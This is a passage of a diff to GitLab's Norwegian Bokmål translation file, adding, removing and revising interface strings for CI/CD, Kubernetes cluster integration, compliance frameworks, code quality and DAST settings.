+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr "Distribusjonsstrategi"
msgid "CICD|Jobs"
msgstr "Jobber"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL-adresse for tilbakeringing"
@@ -5947,9 +5980,6 @@ msgstr "Kan ikke opprette misbruksrapporten. Brukeren har blitt blokkert."
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "Kan ikke ha flere Jira-importeringer som kjører samtidig"
@@ -6055,15 +6085,15 @@ msgstr "Endre milepæl"
msgid "Change path"
msgstr "Endre bane"
-msgid "Change permissions"
-msgstr "Endre rettigheter"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr "Endre status"
@@ -6340,6 +6370,9 @@ msgstr "Mislyktes i å laste inn land. Vennligst prøv igjen."
msgid "Checkout|Failed to load states. Please try again."
msgstr "Mislyktes i å laste inn delstater. Vennligst prøv igjen."
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr "Velg en fil"
msgid "Choose a group"
msgstr "Velg en gruppe"
-msgid "Choose a role permission"
-msgstr "Velg en rolletillatelse"
-
msgid "Choose a template"
msgstr "Velg en mal"
@@ -6472,6 +6502,9 @@ msgstr "Velg stempler"
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr "Denne funksjonen er bare tilgjengelig for Premium-planer"
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr "Brukeren har ikke tilstrekkelige tillatelser til å opprette en sjetong for dette prosjektet"
@@ -6913,24 +6943,12 @@ msgstr "Du har ikke tilstrekkelige tillatelser til å opprette en klyngeagent fo
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr "Du har ikke tilstrekkelige tillatelser til å slette denne klyngeagenten"
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} ble velykket installert på Kubernetes-klyngen din"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
-msgid "ClusterIntegration|%{externalIp}.nip.io"
-msgstr "%{externalIp}.nip.io"
-
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr "%{linkStart}Mer informasjon%{linkEnd}"
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} ble vellykket avinstallert."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} ble vellykket oppdatert."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr "Avanserte alternativer for denne Kubernetes-klyngens integrering"
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr "Alle data som ikke er commitet til GitLab vil bli slettet og kan ikke bli gjenopprettet."
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "Alle data blir slettet og kan ikke gjenopprettes."
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr "Alle installerte applikasjoner og relaterte ressurser"
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr "Alternativt, "
-
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "Eventuelle kjørende rørledninger vil bli avbrutt."
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr "Grunndomene"
msgid "ClusterIntegration|CA Certificate"
msgstr "CA-sertifikat"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Sertifikatbehandler"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr "Cert-Manager er en innebygd Kubernetes-sertifikatadministrator som hjelper med utstedelse av sertifikater. Installering av Cert-Manager i klyngen din utsteder et sertifikat fra %{linkStart}Let's Encrypt%{linkEnd} og sikrer at sertifikatene er gyldige og oppdaterte."
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr "Velg hvilke applikasjoner som skal installeres på Kubernetes-klyngen din."
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Velg hvilke av miljøene dine som skal bruke denne klyngen."
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "Klyngenavn er påkrevd."
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr "Klynger brukes ved å velge nærmeste forfader med et samsvarende miljøomfang. For eksempel vil prosjektklynger overstyre gruppeklynger. %{linkStart}Mere informasjon%{linkEnd}"
@@ -7105,15 +7093,6 @@ msgstr "Kopier API-URL"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Kopier CA-sertifikat"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr "Kopier Ingress-endepunkt"
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr "Kopier Jupyter-vertsnavn"
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr "Kopier Knative-endepunkt"
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Kopier Kubernetes-klyngenavn"
@@ -7162,12 +7141,6 @@ msgstr "Opprett ny klynge på GKE"
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "Oppretter Kubernetes-klynge"
-msgid "ClusterIntegration|Crossplane"
-msgstr "Crossplane"
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr "Crossplane gir deklarativ provisjonering av administrerte tjenester fra din nettsky som bruker %{codeStart}kubectl%{codeEnd} eller %{linkStart}GitLab.integrering%{linkEnd}. Crossplane kjører inne i Kubernetes-klyngen din og støtter sikker tilkobling og hemmelighetsstyring mellom app-containere og de skytjenestene de avhenger av."
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr "Sletter alle GitLab-ressurser som er knyttet til denne klyngen under fjerning"
@@ -7183,9 +7156,6 @@ msgstr "Visste du det?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Aktiver denne innstillingen hvis du bruker rollebasert tilgangskontroll (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr "Skriv inn ny tjenestesjetong"
@@ -7246,27 +7213,12 @@ msgstr "Innhenter prosjekter"
msgid "ClusterIntegration|Fetching zones"
msgstr "Innhenter soner"
-msgid "ClusterIntegration|Fluentd"
-msgstr "Fluentd"
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr "Fluentd er en åpenkildekodet datasamler, som lar deg forene datainnsamlingen og forbruket for en bedre bruk og forståelse av data. Det krever at minst en av følgende loggføringer har blitt vellykket installert."
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-integrering"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "GitLab Runner kobler til kodelageret og iverksetter CI/CD-jobber, pusher resultater tilbake, og distribuerer applikasjoner til produksjonen."
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr "Gruppeklynge"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr "Helm-utgivelsen mislyktes i å bli installert"
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Ingress-endepunkt"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "Instansklynge"
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Jupyter-vertsnavn"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub, en flerbrukersentral, setter opp, administrerer og mellombetjener flere forekomster av Jupyter-notatbokserveren til en enkeltbruker. JupyterHub kan brukes til å dele ut notatbøker til en studentklasse, en datavitenskapelig firmagruppe eller en vitenskapelig forskningsgruppe."
-
msgid "ClusterIntegration|Key pair name"
msgstr "Navn på nøkkelpar"
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Knativ-domenenavn:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Knative-endepunkt:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "Knative-domenenavnet ble vellykket oppdatert."
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative utvider Kubernetes for å tilby et set medt mellomvarekomponenter som er essensielle for å bygge moderne, kildesentriske og containerbaserte applikasjoner som kan kjøre hvor som helst: hos lokaler, i skyen, eller til og med i et tredjeparts datasenter."
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr "Kubernetes-klynge blir for øyeblikket opprettet..."
@@ -7405,9 +7312,6 @@ msgstr "Lær mer om gruppe-Kubernetes-klynger"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Lær mer om instans-Kubernetes-klynger"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Laster inn IAM-roller"
@@ -7456,12 +7360,6 @@ msgstr "Ingen nøkkelpar funnet"
msgid "ClusterIntegration|No VPCs found"
msgstr "Ingen VPC-er funnet"
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr "Ingen instanstype funnet"
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr "Prosjektklynge"
@@ -7516,15 +7411,6 @@ msgstr "Prosjektnavnefelt (valgfritt, unik)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr "Beskytt klyngene dine med GitLab sine containernettverksretningslinjer ved å håndheve hvordan pods kommuniserer med hverandre og andre nettverks-endepunkter. %{linkStart}Lær mer om konfigurering av nettverksretningslinjer her.%{linkEnd}"
-
msgid "ClusterIntegration|Provider details"
msgstr "Leverandørdetaljer"
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr "SIEM-vertsnavn"
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr "SIEM-port"
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr "SIEM-protokoll"
-
msgid "ClusterIntegration|Save changes"
msgstr "Lagre endringer"
@@ -7591,9 +7459,6 @@ msgstr "Søk blant nøkkelpar"
msgid "ClusterIntegration|Search VPCs"
msgstr "Søk blant VPC-er"
-msgid "ClusterIntegration|Search domains"
-msgstr "Søk blant domener"
-
msgid "ClusterIntegration|Search instance types"
msgstr "Søk blant instanstyper"
@@ -7642,15 +7507,9 @@ msgstr "Velg en region for å velge et nøkkelpar"
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "Velg en region for å velge et VPC"
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "Velg en sone for å velge et nettverk"
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr "Velg et eksisterende domene eller bruk et nytt et"
-
msgid "ClusterIntegration|Select machine type"
msgstr "Velg maskintype"
@@ -7675,9 +7534,6 @@ msgstr "Velg sone"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Velg sone for å velge maskintype"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Tjenestesjetong"
@@ -7696,27 +7552,12 @@ msgstr "Noe gikk galt på vår side av linja."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr "Noe gikk galt under oppretting av din Kubernetes-klynge"
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Noe gikk galt under installering av %{title}"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr "Å spesifisere et domene vil la deg bruke auto-gjennomgangsapper og auto-distribusjonstrinn for %{linkStart}Auto DevOps.%{linkEnd} Domenet bør ha en jokertegn-DNS konfigurert som samsvarer med domenet. "
msgid "ClusterIntegration|Subnets"
msgstr "Undernett"
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr "%{gitlabNamespace}-navnefeltet"
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr "Amazon-ressursnavnet (ARN) som er tilknyttet din rolle. Hvis du ikke har en klargjøringsrolle, må du først opprette en på %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} ved hjelp av ovennevnte konto og eksterne IDer. %{startMoreInfoLink}Mer informasjon%{endLink}"
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "URL-en som brukes til å få tilgang til Kubernetes-API-en."
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr "Den tilknyttede IP-en og alle distribuerte tjenester vil bli slettet og kan ikke bli gjenopprettet. Avinstallering av Knative fjerner også Istio fra klyngen din. Dette vil ikke påvirke andre programmer."
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr "Dette prosjektet har ikke fakturering aktivert. For å opprette en klyng
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr "Dette vil permanent slette de følgende ressursene:"
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr "For å få tilgang til applikasjonen din etter distribusjon, peker du en jokertegn-DNS mot Knative-endepunktet."
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr "For å opprette en klynge, må du først opprette et prosjekt på %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "Avinstaller %{appTitle}"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr "Oppdater %{appTitle}"
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr "Oppdatering mislyktes. Kontroller loggføringene og prøv på nytt."
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr "Bruk %{query}"
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr "Du er i ferd med å fjerne klyngeintegrasjonen din."
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr "Du er i ferd med å avinstallere %{appTitle} fra klyngen din."
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr "Du er i ferd med å oppdatere %{appTitle} i klyngen din."
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr "Du må gi tilgang til organisasjonens AWS-ressurser for å opprette en ny EKS-klynge. For å gi tilgang, opprett en klargjøringsrolle ved hjelp av kontoen og den ekstern ID-en nedenfor og gi oss ARN-en."
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr "Du må spesifisere et domene før du kan installere Knative."
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr "Du burde velge minst to undernett"
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Kontoen din må ha %{link_to_kubernetes_engine}"
@@ -7873,12 +7666,6 @@ msgstr "Sone"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr "kan brukes i stedet for et tilpasset domene. "
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr "installert via %{linkStart}Cloud Run%{linkEnd}"
-
msgid "ClusterIntegration|meets the requirements"
msgstr "oppfyller kravene"
@@ -7951,6 +7738,9 @@ msgstr "Kodeeiergodkjenning er påkrevd"
msgid "Code owners"
msgstr "Kodeeiere"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr "Mønster"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr "opprettet av:"
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr "GDPR"
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr "GDPR - Personvernforordningen"
-
-msgid "ComplianceFramework|HIPAA"
-msgstr "HIPAA"
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr "HIPAA - Health Insurance Portability and Accountability Act"
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr "PCI-DSS"
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr "PCI-DSS - Payment Card Industry-Data Security Standard"
-
-msgid "ComplianceFramework|SOC 2"
-msgstr "SOC 2"
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr "SOC 2 - Service Organization Control 2"
-
-msgid "ComplianceFramework|SOX"
-msgstr "SOX"
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr "SOX - Sarbanes-Oxley"
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr "Dette prosjektet er regulert av %{framework}."
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr "Konfigurasjon"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr "Bidragsytere"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr "Kopier ekstern ID til utklippstavlen"
msgid "Copy ID"
msgstr "Kopier ID"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "Kopier KRB5-klone-URL"
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr "Koble til og lever din %{link_start}personlige GitHub-tilgangssjetong%{l
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "Opprett gren"
@@ -9456,9 +9222,6 @@ msgstr "Opprett din første side"
msgid "Create your group"
msgstr "Opprett gruppen din"
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr "Opprett/importer ditt første prosjekt"
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr "SSH-nøkler"
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr "Kritiske sårbarheter til stede"
@@ -9699,9 +9468,6 @@ msgstr "Cron-tidssone"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr "Crossplane"
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr "Gjeldende prosjekt"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "Nåværende node"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr "Justerbar av en administrator"
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "Tilpass farger"
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -10081,6 +9844,18 @@ msgstr "%{firstProject}, %{rest}, og %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr "Datovelger"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr "Dager"
msgid "Days to merge"
msgstr ""
